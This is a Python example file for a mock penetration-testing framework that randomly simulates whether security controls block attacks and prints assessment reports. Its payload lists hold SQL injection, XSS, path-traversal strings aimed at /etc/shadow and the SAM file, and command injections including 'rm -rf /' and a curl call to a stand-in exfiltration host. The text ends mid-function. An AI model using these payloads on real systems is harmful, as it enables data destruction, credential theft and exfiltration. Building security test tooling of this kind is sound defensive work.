#!/usr/bin/env python3
"""
Example 29: Advanced Penetration Testing and Security Assessment Framework

This example demonstrates how to:
1. Execute comprehensive penetration testing scenarios
2. Simulate attack patterns and security threats
3. Test system resilience and security controls
4. Generate detailed security assessment reports
5. Validate incident response procedures
6. Perform automated security testing

Run with: uv run python examples/29_penetration_testing.py
"""

import asyncio
import json
import random
import time
from datetime import datetime, timedelta
from typing import Dict, List, Any, Optional
from uuid import uuid4
from enum import Enum

# Mock implementation demonstrating penetration testing API
class AttackVector(Enum):
    SQL_INJECTION = "SqlInjection"
    CROSS_SITE_SCRIPTING = "CrossSiteScripting"
    COMMAND_INJECTION = "CommandInjection"
    PATH_TRAVERSAL = "PathTraversal"
    PRIVILEGE_ESCALATION = "PrivilegeEscalation"
    AUTHENTICATION_BYPASS = "AuthenticationBypass"
    SESSION_HIJACKING = "SessionHijacking"
    BRUTE_FORCE = "BruteForce"
    DENIAL_OF_SERVICE = "DenialOfService"
    BUFFER_OVERFLOW = "BufferOverflow"
    CSRF = "CrossSiteRequestForgery"
    DATA_EXFILTRATION = "DataExfiltration"
    MALWARE_INJECTION = "MalwareInjection"
    SOCIAL_ENGINEERING = "SocialEngineering"
    ZERO_DAY_EXPLOIT = "ZeroDayExploit"

class AttackSeverity(Enum):
    CRITICAL = "Critical"
    HIGH = "High"
    MEDIUM = "Medium"
    LOW = "Low"
    INFORMATIONAL = "Informational"

class TestStatus(Enum):
    PASSED = "Passed"
    FAILED = "Failed"
    BLOCKED = "Blocked"
    TIMEOUT = "Timeout"
    ERROR = "Error"

class AttackComplexity(Enum):
    LOW = "Low"
    MEDIUM = "Medium"
    HIGH = "High"

class MockPenetrationTestingFramework:
    """Mock implementation of penetration testing framework"""
    
    def __init__(self):
        self.test_scenarios = []
        self.attack_payloads = {}
        self.security_controls = []
        self.test_results = []
        self.incident_responses = []
        self.baseline_metrics = {}
        self._setup_attack_scenarios()
        self._setup_attack_payloads()
    
    def _setup_attack_scenarios(self):
        """Set up comprehensive penetration testing scenarios"""
        self.test_scenarios = [
            {
                "id": "pen-001",
                "name": "SQL Injection Attack Simulation",
                "description": "Simulate SQL injection attacks against event data storage",
                "attack_vector": AttackVector.SQL_INJECTION,
                "severity": AttackSeverity.CRITICAL,
                "complexity": AttackComplexity.LOW,
                "target_components": ["EventStore", "QueryEngine", "DataAccess"],
                "expected_controls": ["Input validation", "Parameterized queries", "WAF"],
                "success_criteria": "System blocks malicious SQL and logs attempt"
            },
            {
                "id": "pen-002",
                "name": "Cross-Site Scripting (XSS) Prevention Test",
                "description": "Test XSS prevention in event data and web interfaces",
                "attack_vector": AttackVector.CROSS_SITE_SCRIPTING,
                "severity": AttackSeverity.HIGH,
                "complexity": AttackComplexity.MEDIUM,
                "target_components": ["WebUI", "EventData", "Serialization"],
                "expected_controls": ["Output encoding", "CSP headers", "Input sanitization"],
                "success_criteria": "Malicious scripts are neutralized and execution prevented"
            },
            {
                "id": "pen-003",
                "name": "Authentication Bypass Attempts",
                "description": "Test authentication mechanisms against bypass attempts",
                "attack_vector": AttackVector.AUTHENTICATION_BYPASS,
                "severity": AttackSeverity.CRITICAL,
                "complexity": AttackComplexity.HIGH,
                "target_components": ["AuthenticationService", "TokenValidator", "SessionManager"],
                "expected_controls": ["Strong authentication", "Token validation", "Session management"],
                "success_criteria": "All bypass attempts are blocked and logged"
            },
            {
                "id": "pen-004",
                "name": "Privilege Escalation Testing",
                "description": "Attempt to escalate privileges and access unauthorized resources",
                "attack_vector": AttackVector.PRIVILEGE_ESCALATION,
                "severity": AttackSeverity.HIGH,
                "complexity": AttackComplexity.MEDIUM,
                "target_components": ["AuthorizationService", "RBAC", "EventAccess"],
                "expected_controls": ["RBAC enforcement", "Access control", "Audit logging"],
                "success_criteria": "Privilege escalation attempts are prevented and detected"
            },
            {
                "id": "pen-005",
                "name": "Brute Force Attack Resilience",
                "description": "Test system resilience against brute force attacks",
                "attack_vector": AttackVector.BRUTE_FORCE,
                "severity": AttackSeverity.MEDIUM,
                "complexity": AttackComplexity.LOW,
                "target_components": ["LoginService", "API", "RateLimiter"],
                "expected_controls": ["Rate limiting", "Account lockout", "CAPTCHA"],
                "success_criteria": "Brute force attacks are throttled and blocked"
            },
            {
                "id": "pen-006",
                "name": "Command Injection Prevention",
                "description": "Test prevention of command injection attacks",
                "attack_vector": AttackVector.COMMAND_INJECTION,
                "severity": AttackSeverity.CRITICAL,
                "complexity": AttackComplexity.MEDIUM,
                "target_components": ["SystemInterface", "ProcessExecution", "FileHandling"],
                "expected_controls": ["Input validation", "Command sanitization", "Sandboxing"],
                "success_criteria": "Command injection attempts are blocked and sanitized"
            },
            {
                "id": "pen-007",
                "name": "Path Traversal Attack Defense",
                "description": "Test defense against path traversal attacks",
                "attack_vector": AttackVector.PATH_TRAVERSAL,
                "severity": AttackSeverity.HIGH,
                "complexity": AttackComplexity.LOW,
                "target_components": ["FileSystem", "ResourceAccess", "EventStorage"],
                "expected_controls": ["Path validation", "Chroot jail", "Access restrictions"],
                "success_criteria": "Path traversal attempts are blocked and normalized"
            },
            {
                "id": "pen-008",
                "name": "Session Hijacking Prevention",
                "description": "Test session management security and hijacking prevention",
                "attack_vector": AttackVector.SESSION_HIJACKING,
                "severity": AttackSeverity.HIGH,
                "complexity": AttackComplexity.MEDIUM,
                "target_components": ["SessionManager", "TokenStorage", "CookieHandling"],
                "expected_controls": ["Secure cookies", "Token rotation", "IP validation"],
                "success_criteria": "Session hijacking attempts are detected and prevented"
            },
            {
                "id": "pen-009",
                "name": "Denial of Service Resilience",
                "description": "Test system resilience against DoS attacks",
                "attack_vector": AttackVector.DENIAL_OF_SERVICE,
                "severity": AttackSeverity.HIGH,
                "complexity": AttackComplexity.LOW,
                "target_components": ["LoadBalancer", "RateLimiter", "ResourceManager"],
                "expected_controls": ["Rate limiting", "Load balancing", "Circuit breakers"],
                "success_criteria": "System maintains availability during DoS attempts"
            },
            {
                "id": "pen-010",
                "name": "Data Exfiltration Prevention",
                "description": "Test prevention of unauthorized data access and exfiltration",
                "attack_vector": AttackVector.DATA_EXFILTRATION,
                "severity": AttackSeverity.CRITICAL,
                "complexity": AttackComplexity.HIGH,
                "target_components": ["DataAccess", "EventStore", "APIGateway"],
                "expected_controls": ["Access logging", "DLP", "Encryption"],
                "success_criteria": "Data exfiltration attempts are detected and blocked"
            }
        ]
    
    def _setup_attack_payloads(self):
        """Set up attack payloads for different attack vectors"""
        self.attack_payloads = {
            AttackVector.SQL_INJECTION: [
                "'; DROP TABLE events; --",
                "' OR '1'='1",
                "' UNION SELECT password FROM users --",
                "'; INSERT INTO events (data) VALUES ('malicious'); --",
                "' AND (SELECT COUNT(*) FROM information_schema.tables) > 0 --"
            ],
            AttackVector.CROSS_SITE_SCRIPTING: [
                "<script>alert('XSS')</script>",
                "javascript:alert('XSS')",
                "<img src=x onerror=alert('XSS')>",
                "<svg onload=alert('XSS')>",
                "';alert('XSS');//"
            ],
            AttackVector.COMMAND_INJECTION: [
                "; cat /etc/passwd",
                "| whoami",
                "&& rm -rf /",
                "; curl http://malicious.com/exfiltrate",
                "|| ping -c 10 127.0.0.1"
            ],
            AttackVector.PATH_TRAVERSAL: [
                "../../../etc/passwd",
                "..\\..\\windows\\system32\\config\\sam",
                "....//....//etc/shadow",
                "%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd",
                "..%252f..%252f..%252fetc%252fpasswd"
            ],
            AttackVector.AUTHENTICATION_BYPASS: [
                "admin' --",
                "' OR 1=1 --",
                "admin'/*",
                "' OR 'a'='a",
                "admin'||'1'='1"
            ]
        }
    
    async def execute_penetration_test(self, scenario_id: str, target_events: List[Dict[str, Any]]) -> Dict[str, Any]:
        """Execute a specific penetration test scenario"""
        scenario = next((s for s in self.test_scenarios if s["id"] == scenario_id), None)
        if not scenario:
            raise ValueError(f"Scenario {scenario_id} not found")
        
        test_start = datetime.utcnow()
        test_id = str(uuid4())
        
        print(f"🎯 Executing penetration test: {scenario['name']}")
        print(f"   Attack Vector: {scenario['attack_vector'].value}")
        print(f"   Severity: {scenario['severity'].value}")
        print(f"   Complexity: {scenario['complexity'].value}")
        
        # Simulate attack execution
        attack_results = await self._simulate_attack(scenario, target_events)
        
        # Evaluate security controls
        control_results = await self._evaluate_security_controls(scenario, attack_results)
        
        # Generate incident response
        incident_response = await self._simulate_incident_response(scenario, attack_results)
        
        test_end = datetime.utcnow()
        test_duration = (test_end - test_start).total_seconds() * 1000
        
        # Determine test status
        test_status = TestStatus.PASSED if attack_results["blocked"] else TestStatus.FAILED
        
        test_result = {
            "test_id": test_id,
            "scenario_id": scenario_id,
            "test_name": scenario["name"],
            "attack_vector": scenario["attack_vector"],
            "severity": scenario["severity"],
            "status": test_status,
            "start_time": test_start,
            "end_time": test_end,
            "duration_ms": test_duration,
            "attack_attempts": attack_results["attempts"],
            "successful_attacks": attack_results["successful"],
            "blocked_attacks": attack_results["blocked"],
            "controls_tested": control_results["controls_tested"],
            "controls_effective": control_results["effective_controls"],
            "vulnerabilities_found": attack_results["vulnerabilities"],
            "incident_response": incident_response,
            "recommendations": self._generate_recommendations(scenario, attack_results, control_results)
        }
        
        self.test_results.append(test_result)
        return test_result
    
    async def _simulate_attack(self, scenario: Dict[str, Any], target_events: List[Dict[str, Any]]) -> Dict[str, Any]:
        """Simulate the attack execution"""
        attack_vector = scenario["attack_vector"]
        payloads = self.attack_payloads.get(attack_vector, ["generic_payload"])
        
        attempts = len(payloads)
        successful = 0
        blocked = 0
        vulnerabilities = []
        
        for i, payload in enumerate(payloads):
            print(f"   Attack attempt {i+1}/{attempts}: Testing payload...")
            
            # Simulate attack success/failure based on scenario characteristics
            attack_blocked = self._simulate_security_control_response(scenario, payload)
            
            if attack_blocked:
                blocked += 1
                print(f"   ✅ Attack blocked by security controls")
            else:
                successful += 1
                print(f"   ⚠️  Attack succeeded - vulnerability detected")
                
                # Record vulnerability
                vulnerability = {
                    "id": str(uuid4()),
                    "attack_vector": attack_vector.value,
                    "payload": payload,
                    "severity": scenario["severity"].value,
                    "target_component": random.choice(scenario["target_components"]),
                    "description": f"Successful {attack_vector.value} attack using payload: {payload[:50]}...",
                    "impact": self._assess_vulnerability_impact(scenario, payload),
                    "remediation": self._get_remediation_advice(attack_vector)
                }
                vulnerabilities.append(vulnerability)
            
            # Add small delay to simulate real attack timing
            await asyncio.sleep(0.1)
        
        return {
            "attempts": attempts,
            "successful": successful,
            "blocked": blocked,
            "vulnerabilities": vulnerabilities
        }
    
    def _simulate_security_control_response(self, scenario: Dict[str, Any], payload: str) -> bool:
        """Simulate security control response to attack"""
        # Simulate different success rates based on complexity and existing controls
        complexity_factor = {
            AttackComplexity.LOW: 0.3,    # 30% chance of bypass for low complexity
            AttackComplexity.MEDIUM: 0.6, # 60% chance of bypass for medium complexity  
            AttackComplexity.HIGH: 0.8    # 80% chance of bypass for high complexity
        }
        
        # Higher severity attacks are more likely to be detected
        severity_factor = {
            AttackSeverity.CRITICAL: 0.9,
            AttackSeverity.HIGH: 0.8,
            AttackSeverity.MEDIUM: 0.6,
            AttackSeverity.LOW: 0.4
        }
        
        complexity_score = complexity_factor.get(scenario["complexity"], 0.5)
        severity_score = severity_factor.get(scenario["severity"], 0.5)
        
        # Combine factors to determine if attack is blocked
        detection_probability = (complexity_score + severity_score) / 2
        
        return random.random() < detection_probability
    
    async def _evaluate_security_controls(self, scenario: Dict[str, Any], attack_results: Dict[str, Any]) -> Dict[str, Any]:
        """Evaluate effectiveness of security controls"""
        expected_controls = scenario["expected_controls"]
        controls_tested = len(expected_controls)
        
        # Simulate control effectiveness based on attack results
        effective_controls = []
        
        for control in expected_controls:
            # Simulate control effectiveness
            if attack_results["blocked"] > attack_results["successful"]:
                effectiveness = random.uniform(0.7, 0.95)  # High effectiveness
                status = "Effective"
            else:
                effectiveness = random.uniform(0.2, 0.6)   # Low effectiveness
                status = "Needs Improvement"
            
            effective_controls.append({
                "name": control,
                "effectiveness": effectiveness,
                "status": status,
                "recommendations": self._get_control_recommendations(control, effectiveness)
            })
        
        return {
            "controls_tested": controls_tested,
            "effective_controls": effective_controls
        }
    
    async def _simulate_incident_response(self, scenario: Dict[str, Any], attack_results: Dict[str, Any]) -> Dict[str, Any]:
        """Simulate incident response procedures"""
        if attack_results["successful"] > 0:
            # Simulate incident response for successful attacks
            response = {
                "incident_declared": True,
                "response_time_seconds": random.randint(60, 300),
                "escalation_level": "High" if scenario["severity"] in [AttackSeverity.CRITICAL, AttackSeverity.HIGH] else "Medium",
                "actions_taken": [
                    "Security team notified",
                    "Attack source blocked",
                    "Logs analyzed and preserved",
                    "Affected systems isolated",
                    "Management briefed"
                ],
                "containment_successful": True,
                "forensic_data_collected": True,
                "lessons_learned": "Security controls need strengthening"
            }
        else:
            # No incident response needed - attacks were blocked
            response = {
                "incident_declared": False,
                "response_time_seconds": 0,
                "escalation_level": "None",
                "actions_taken": ["Attack blocked by automated controls"],
                "containment_successful": True,
                "forensic_data_collected": False,
                "lessons_learned": "Security controls working effectively"
            }
        
        return response
    
    def _assess_vulnerability_impact(self, scenario: Dict[str, Any], payload: str) -> str:
        """Assess the potential impact of a vulnerability"""
        impact_map = {
            AttackVector.SQL_INJECTION: "Data breach, data manipulation, unauthorized access",
            AttackVector.CROSS_SITE_SCRIPTING: "Session hijacking, data theft, malicious actions",
            AttackVector.COMMAND_INJECTION: "System compromise, data loss, privilege escalation",
            AttackVector.AUTHENTICATION_BYPASS: "Unauthorized access, identity theft, data breach",
            AttackVector.PRIVILEGE_ESCALATION: "Administrative access, system control, data access",
            AttackVector.DATA_EXFILTRATION: "Confidential data theft, intellectual property loss"
        }
        
        return impact_map.get(scenario["attack_vector"], "Potential security compromise")
    
    def _get_remediation_advice(self, attack_vector: AttackVector) -> str:
        """Get remediation advice for specific attack vector"""
        remediation_map = {
            AttackVector.SQL_INJECTION: "Use parameterized queries, input validation, and WAF",
            AttackVector.CROSS_SITE_SCRIPTING: "Implement output encoding, CSP headers, and input sanitization",
            AttackVector.COMMAND_INJECTION: "Use input validation, command sanitization, and sandboxing",
            AttackVector.AUTHENTICATION_BYPASS: "Strengthen authentication, use MFA, validate tokens",
            AttackVector.PRIVILEGE_ESCALATION: "Implement proper RBAC, least privilege, and access controls",
            AttackVector.PATH_TRAVERSAL: "Validate and sanitize file paths, use chroot jail",
            AttackVector.BRUTE_FORCE: "Implement rate limiting, account lockout, and strong passwords",
            AttackVector.SESSION_HIJACKING: "Use secure cookies, token rotation, and IP validation",
            AttackVector.DENIAL_OF_SERVICE: "Implement rate limiting, load balancing, and circuit breakers",
            AttackVector.DATA_EXFILTRATION: "Use access logging, DLP solutions, and encryption"
        }
        
        return remediation_map.get(attack_vector, "Implement appropriate security controls")
    
    def _get_control_recommendations(self, control: str, effectiveness: float) -> List[str]:
        """Get recommendations for improving security controls"""
        if effectiveness > 0.8:
            return ["Control is working well", "Continue monitoring"]
        elif effectiveness > 0.6:
            return ["Consider tuning control parameters", "Add additional monitoring"]
        else:
            return ["Control needs significant improvement", "Review implementation", "Consider alternative solutions"]
    
    def _generate_recommendations(self, scenario: Dict[str, Any], attack_results: Dict[str, Any], control_results: Dict[str, Any]) -> List[str]:
        """Generate recommendations based on test results"""
        recommendations = []
        
        if attack_results["successful"] > 0:
            recommendations.extend([
                f"Critical: Address {len(attack_results['vulnerabilities'])} vulnerabilities found",
                f"Strengthen security controls for {scenario['attack_vector'].value} attacks",
                "Review and update security policies",
                "Conduct additional security training"
            ])
        
        if attack_results["blocked"] < attack_results["attempts"]:
            recommendations.append("Improve attack detection and prevention capabilities")
        
        # Add control-specific recommendations
        for control in control_results["effective_controls"]:
            if control["effectiveness"] < 0.7:
                recommendations.append(f"Improve {control['name']} effectiveness")
        
        if not recommendations:
            recommendations.append("Security controls are working effectively")
        
        return recommendations
    
    async def run_comprehensive_penetration_test(self, target_events: List[Dict[str, Any]]) -> Dict[str, Any]:
        """Run comprehensive penetration testing suite"""
        print("🚨 Starting Comprehensive Penetration Testing Suite")
        print("=" * 70)
        
        suite_start = datetime.utcnow()
        suite_results = []
        
        # Execute all test scenarios
        for scenario in self.test_scenarios:
            print(f"\n📋 Test {len(suite_results) + 1}/{len(self.test_scenarios)}")
            result = await self.execute_penetration_test(scenario["id"], target_events)
            suite_results.append(result)
            
            # Brief pause between tests
            await asyncio.sleep(0.5)
        
        suite_end = datetime.utcnow()
        suite_duration = (suite_end - suite_start).total_seconds()
        
        # Generate comprehensive report
        return await self._generate_comprehensive_report(suite_results, suite_duration)
    
    async def _generate_comprehensive_report(self, test_results: List[Dict[str, Any]], duration: float) -> Dict[str, Any]:
        """Generate comprehensive penetration testing report"""
        total_tests = len(test_results)
        passed_tests = len([r for r in test_results if r["status"] == TestStatus.PASSED])
        failed_tests = total_tests - passed_tests
        
        total_vulnerabilities = sum(len(r["vulnerabilities_found"]) for r in test_results)
        
        # Severity breakdown
        severity_counts = {}
        for result in test_results:
            severity = result["severity"].value
            severity_counts[severity] = severity_counts.get(severity, 0) + (1 if result["status"] == TestStatus.FAILED else 0)
        
        # Attack vector analysis
        attack_vectors = {}
        for result in test_results:
            vector = result["attack_vector"].value
            status = "Failed" if result["status"] == TestStatus.FAILED else "Passed"
            if vector not in attack_vectors:
                attack_vectors[vector] = {"Passed": 0, "Failed": 0}
            attack_vectors[vector][status] += 1
        
        # Calculate security score
        security_score = (passed_tests / total_tests) * 100 if total_tests > 0 else 0
        
        # Risk assessment
        if security_score >= 90:
            risk_level = "LOW"
            risk_description = "Excellent security posture with minimal vulnerabilities"
        elif security_score >= 75:
            risk_level = "MEDIUM"
            risk_description = "Good security posture with some areas for improvement"
        elif security_score >= 50:
            risk_level = "HIGH"
            risk_description = "Significant security gaps requiring immediate attention"
        else:
            risk_level = "CRITICAL"
            risk_description = "Severe security vulnerabilities requiring emergency response"
        
        return {
            "report_id": str(uuid4()),
            "generated_at": datetime.utcnow(),
            "test_duration_seconds": duration,
            "summary": {
                "total_tests": total_tests,
                "passed_tests": passed_tests,
                "failed_tests": failed_tests,
                "security_score": security_score,
                "total_vulnerabilities": total_vulnerabilities
            },
            "risk_assessment": {
                "risk_level": risk_level,
                "risk_description": risk_description,
                "severity_breakdown": severity_counts
            },
            "attack_vector_analysis": attack_vectors,
            "detailed_results": test_results,
            "overall_recommendations": self._generate_overall_recommendations(test_results, security_score),
            "next_steps": self._generate_next_steps(test_results, security_score)
        }
    
    def _generate_overall_recommendations(self, test_results: List[Dict[str, Any]], security_score: float) -> List[str]:
        """Generate overall security recommendations"""
        recommendations = []
        
        failed_tests = [r for r in test_results if r["status"] == TestStatus.FAILED]
        
        if security_score < 75:
            recommendations.append("🚨 URGENT: Comprehensive security review and remediation required")
        
        if len(failed_tests) > 0:
            recommendations.append(f"Address {len(failed_tests)} failed security tests immediately")
        
        # Identify common vulnerability patterns
        common_vectors = {}
        for result in failed_tests:
            vector = result["attack_vector"].value
            common_vectors[vector] = common_vectors.get(vector, 0) + 1
        
        if common_vectors:
            top_vector = max(common_vectors, key=common_vectors.get)
            recommendations.append(f"Focus on {top_vector} prevention - most common vulnerability")
        
        recommendations.extend([
            "Implement continuous security monitoring",
            "Conduct regular penetration testing",
            "Provide security training to development team",
            "Review and update security policies",
            "Consider bug bounty program for external testing"
        ])
        
        return recommendations
    
    def _generate_next_steps(self, test_results: List[Dict[str, Any]], security_score: float) -> List[str]:
        """Generate next steps for security improvement"""
        next_steps = []
        
        if security_score < 50:
            next_steps.extend([
                "1. Immediate security incident response",
                "2. Isolate affected systems",
                "3. Apply emergency patches"
            ])
        
        next_steps.extend([
            "4. Prioritize vulnerability remediation by severity",
            "5. Implement missing security controls",
            "6. Update security documentation",
            "7. Schedule follow-up penetration testing",
            "8. Review security budget and resources"
        ])
        
        return next_steps


async def demonstrate_single_penetration_test():
    """Demonstrate execution of a single penetration test"""
    print("\n=== Single Penetration Test Demonstration ===")
    
    framework = MockPenetrationTestingFramework()
    
    # Create target events for testing
    target_events = [
        {
            "id": str(uuid4()),
            "aggregate_id": "web-app-001",
            "event_type": "UserInput",
            "data": {"input": "normal user input", "source": "web_form"}
        },
        {
            "id": str(uuid4()),
            "aggregate_id": "api-endpoint-002",
            "event_type": "DatabaseQuery",
            "data": {"query": "SELECT * FROM events", "params": ["valid_param"]}
        }
    ]
    
    # Execute SQL Injection test
    result = await framework.execute_penetration_test("pen-001", target_events)
    
    print(f"\n📊 Test Results:")
    print(f"  Test: {result['test_name']}")
    print(f"  Status: {result['status'].value}")
    print(f"  Duration: {result['duration_ms']:.0f}ms")
    print(f"  Attack Attempts: {result['attack_attempts']}")
    print(f"  Successful Attacks: {result['successful_attacks']}")
    print(f"  Blocked Attacks: {result['blocked_attacks']}")
    print(f"  Vulnerabilities Found: {len(result['vulnerabilities_found'])}")
    
    if result['vulnerabilities_found']:
        print(f"\n🚨 Vulnerabilities Detected:")
        for vuln in result['vulnerabilities_found']:
            print(f"    • {vuln['attack_vector']} - {vuln['severity']}")
            print(f"      Target: {vuln['target_component']}")
            print(f"      Remediation: {vuln['remediation']}")
    
    print(f"\n🏥 Incident Response:")
    ir = result['incident_response']
    print(f"  Incident Declared: {ir['incident_declared']}")
    print(f"  Response Time: {ir['response_time_seconds']}s")
    print(f"  Actions: {', '.join(ir['actions_taken'][:3])}...")
    
    return result


async def demonstrate_attack_simulation():
    """Demonstrate various attack simulations"""
    print("\n=== Attack Simulation Demonstrations ===")
    
    framework = MockPenetrationTestingFramework()
    
    # Show different attack vectors
    attack_demos = [
        ("pen-002", "Cross-Site Scripting (XSS)"),
        ("pen-003", "Authentication Bypass"),
        ("pen-005", "Brute Force Attack"),
        ("pen-009", "Denial of Service")
    ]
    
    target_events = [
        {
            "id": str(uuid4()),
            "aggregate_id": f"target-{i}",
            "event_type": "TestEvent",
            "data": {"test_data": f"target_{i}"}
        }
        for i in range(5)
    ]
    
    print("Running targeted attack simulations:")
    
    for scenario_id, attack_name in attack_demos:
        print(f"\n🎯 {attack_name}")
        result = await framework.execute_penetration_test(scenario_id, target_events)
        
        if result['successful_attacks'] > 0:
            print(f"   ⚠️  {result['successful_attacks']} successful attacks - security gap detected")
        else:
            print(f"   ✅ All attacks blocked - security controls effective")
        
        # Brief pause between tests
        await asyncio.sleep(0.2)
    
    return framework


async def demonstrate_comprehensive_testing():
    """Demonstrate comprehensive penetration testing suite"""
    print("\n=== Comprehensive Penetration Testing Suite ===")
    
    framework = MockPenetrationTestingFramework()
    
    # Create comprehensive target event set
    target_events = []
    
    # Add various event types that might be targets
    event_types = [
        {"type": "UserAuthentication", "data": {"username": "admin", "session": "abc123"}},
        {"type": "DatabaseAccess", "data": {"query": "SELECT data FROM events", "user": "app_user"}},
        {"type": "FileUpload", "data": {"filename": "document.pdf", "path": "/uploads/"}},
        {"type": "APICall", "data": {"endpoint": "/api/events", "method": "GET"}},
        {"type": "SystemCommand", "data": {"command": "ls", "params": ["-la"]}},
        {"type": "WebForm", "data": {"comment": "User feedback", "email": "user@example.com"}},
        {"type": "PaymentProcessing", "data": {"amount": 100.00, "card": "****1234"}},
        {"type": "DataExport", "data": {"format": "csv", "records": 1000}},
        {"type": "ConfigurationChange", "data": {"setting": "max_users", "value": 500}},
        {"type": "LogEntry", "data": {"level": "INFO", "message": "System startup"}}
    ]
    
    for i, event_template in enumerate(event_types):
        for j in range(3):  # 3 events per type
            event = {
                "id": str(uuid4()),
                "aggregate_id": f"{event_template['type']}-{j}",
                "event_type": event_template["type"],
                "data": event_template["data"].copy(),
                "timestamp": datetime.utcnow().isoformat()
            }
            target_events.append(event)
    
    print(f"Testing against {len(target_events)} target events across {len(event_types)} event types")
    
    # Run comprehensive testing
    report = await framework.run_comprehensive_penetration_test(target_events)
    
    # Display comprehensive report
    print(f"\n📋 COMPREHENSIVE PENETRATION TESTING REPORT")
    print("=" * 60)
    
    summary = report["summary"]
    print(f"Report ID: {report['report_id']}")
    print(f"Test Duration: {report['test_duration_seconds']:.1f} seconds")
    print(f"Generated: {report['generated_at'].strftime('%Y-%m-%d %H:%M:%S UTC')}")
    
    print(f"\n📊 TEST SUMMARY")
    print(f"  Total Tests: {summary['total_tests']}")
    print(f"  Passed: {summary['passed_tests']}")
    print(f"  Failed: {summary['failed_tests']}")
    print(f"  Security Score: {summary['security_score']:.1f}%")
    print(f"  Total Vulnerabilities: {summary['total_vulnerabilities']}")
    
    risk = report["risk_assessment"]
    print(f"\n⚠️  RISK ASSESSMENT")
    print(f"  Risk Level: {risk['risk_level']}")
    print(f"  Description: {risk['risk_description']}")
    
    if risk['severity_breakdown']:
        print(f"  Severity Breakdown:")
        for severity, count in risk['severity_breakdown'].items():
            if count > 0:
                print(f"    {severity}: {count} failed tests")
    
    print(f"\n🎯 ATTACK VECTOR ANALYSIS")
    for vector, results in report["attack_vector_analysis"].items():
        total = results["Passed"] + results["Failed"]
        success_rate = (results["Passed"] / total * 100) if total > 0 else 0
        print(f"  {vector}: {success_rate:.0f}% defense success rate ({results['Passed']}/{total})")
    
    print(f"\n💡 KEY RECOMMENDATIONS")
    for i, rec in enumerate(report["overall_recommendations"][:5], 1):
        print(f"  {i}. {rec}")
    
    print(f"\n📋 NEXT STEPS")
    for step in report["next_steps"][:5]:
        print(f"  {step}")
    
    return report


async def demonstrate_security_metrics():
    """Demonstrate security metrics and monitoring"""
    print("\n=== Security Metrics and Monitoring ===")
    
    framework = MockPenetrationTestingFramework()
    
    # Simulate running multiple tests over time
    target_events = [
        {
            "id": str(uuid4()),
            "aggregate_id": f"metric-test-{i}",
            "event_type": "MetricTest",
            "data": {"test_data": f"metrics_{i}"}
        }
        for i in range(10)
    ]
    
    # Run several tests to generate metrics
    test_scenarios = ["pen-001", "pen-002", "pen-005", "pen-009"]
    
    print("Running tests for metrics collection:")
    for scenario_id in test_scenarios:
        result = await framework.execute_penetration_test(scenario_id, target_events)
        print(f"  ✓ {result['test_name']}: {result['status'].value}")
    
    # Calculate and display metrics
    all_results = framework.test_results
    
    print(f"\n📈 SECURITY TESTING METRICS")
    print("=" * 40)
    
    total_tests = len(all_results)
    passed_tests = len([r for r in all_results if r["status"] == TestStatus.PASSED])
    failed_tests = total_tests - passed_tests
    
    print(f"Test Success Rate: {(passed_tests/total_tests*100):.1f}%")
    print(f"Average Test Duration: {sum(r['duration_ms'] for r in all_results)/len(all_results):.0f}ms")
    
    total_attacks = sum(r["attack_attempts"] for r in all_results)
    blocked_attacks = sum(r["blocked_attacks"] for r in all_results)
    
    print(f"Attack Block Rate: {(blocked_attacks/total_attacks*100):.1f}%")
    print(f"Total Vulnerabilities Found: {sum(len(r['vulnerabilities_found']) for r in all_results)}")
    
    # Incident response metrics
    incidents = [r for r in all_results if r["incident_response"]["incident_declared"]]
    if incidents:
        avg_response_time = sum(r["incident_response"]["response_time_seconds"] for r in incidents) / len(incidents)
        print(f"Average Incident Response Time: {avg_response_time:.0f} seconds")
    
    # Performance insights
    print(f"\n💡 PERFORMANCE INSIGHTS")
    if blocked_attacks/total_attacks > 0.8:
        print("  ✅ Excellent attack prevention - security controls are highly effective")
    elif blocked_attacks/total_attacks > 0.6:
        print("  ⚠️  Good attack prevention - some security gaps remain")
    else:
        print("  🚨 Poor attack prevention - urgent security improvements needed")
    
    if passed_tests/total_tests > 0.8:
        print("  ✅ Strong security posture across multiple attack vectors")
    else:
        print("  ⚠️  Security posture needs improvement across multiple areas")
    
    return {
        "total_tests": total_tests,
        "success_rate": passed_tests/total_tests*100,
        "attack_block_rate": blocked_attacks/total_attacks*100,
        "avg_test_duration": sum(r['duration_ms'] for r in all_results)/len(all_results)
    }


async def demonstrate_incident_response_simulation():
    """Demonstrate incident response simulation"""
    print("\n=== Incident Response Simulation ===")
    
    framework = MockPenetrationTestingFramework()
    
    # Create high-risk events that would trigger incident response
    critical_events = [
        {
            "id": str(uuid4()),
            "aggregate_id": "critical-system-001",
            "event_type": "AdministrativeAccess", 
            "data": {"admin_action": "user_privilege_change", "target": "all_users"}
        },
        {
            "id": str(uuid4()),
            "aggregate_id": "payment-system-002",
            "event_type": "FinancialTransaction",
            "data": {"amount": 1000000, "unusual_pattern": True}
        },
        {
            "id": str(uuid4()),
            "aggregate_id": "data-export-003",
            "event_type": "DataExport",
            "data": {"record_count": 100000, "export_time": "03:00", "suspicious": True}
        }
    ]
    
    print("Simulating security incidents with critical attack scenarios:")
    
    # Test high-impact scenarios that should trigger incidents
    critical_scenarios = [
        ("pen-001", "SQL Injection on Critical Systems"),
        ("pen-003", "Authentication Bypass Attempt"),
        ("pen-010", "Data Exfiltration Attempt")
    ]
    
    incident_responses = []
    
    for scenario_id, description in critical_scenarios:
        print(f"\n🚨 Simulating: {description}")
        
        result = await framework.execute_penetration_test(scenario_id, critical_events)
        incident_response = result["incident_response"]
        incident_responses.append(incident_response)
        
        print(f"   Incident Declared: {incident_response['incident_declared']}")
        if incident_response['incident_declared']:
            print(f"   Response Time: {incident_response['response_time_seconds']} seconds")
            print(f"   Escalation Level: {incident_response['escalation_level']}")
            print(f"   Containment: {'Successful' if incident_response['containment_successful'] else 'Failed'}")
            print(f"   Forensic Data: {'Collected' if incident_response['forensic_data_collected'] else 'Not Collected'}")
        
        # Show some actions taken
        print(f"   Actions Taken:")
        for action in incident_response['actions_taken'][:3]:
            print(f"     • {action}")
    
    # Analyze incident response effectiveness
    print(f"\n📊 INCIDENT RESPONSE ANALYSIS")
    print("=" * 40)
    
    total_incidents = len([ir for ir in incident_responses if ir['incident_declared']])
    successful_containment = len([ir for ir in incident_responses if ir['containment_successful']])
    
    if total_incidents > 0:
        avg_response_time = sum(ir['response_time_seconds'] for ir in incident_responses if ir['incident_declared']) / total_incidents
        containment_rate = (successful_containment / total_incidents) * 100
        
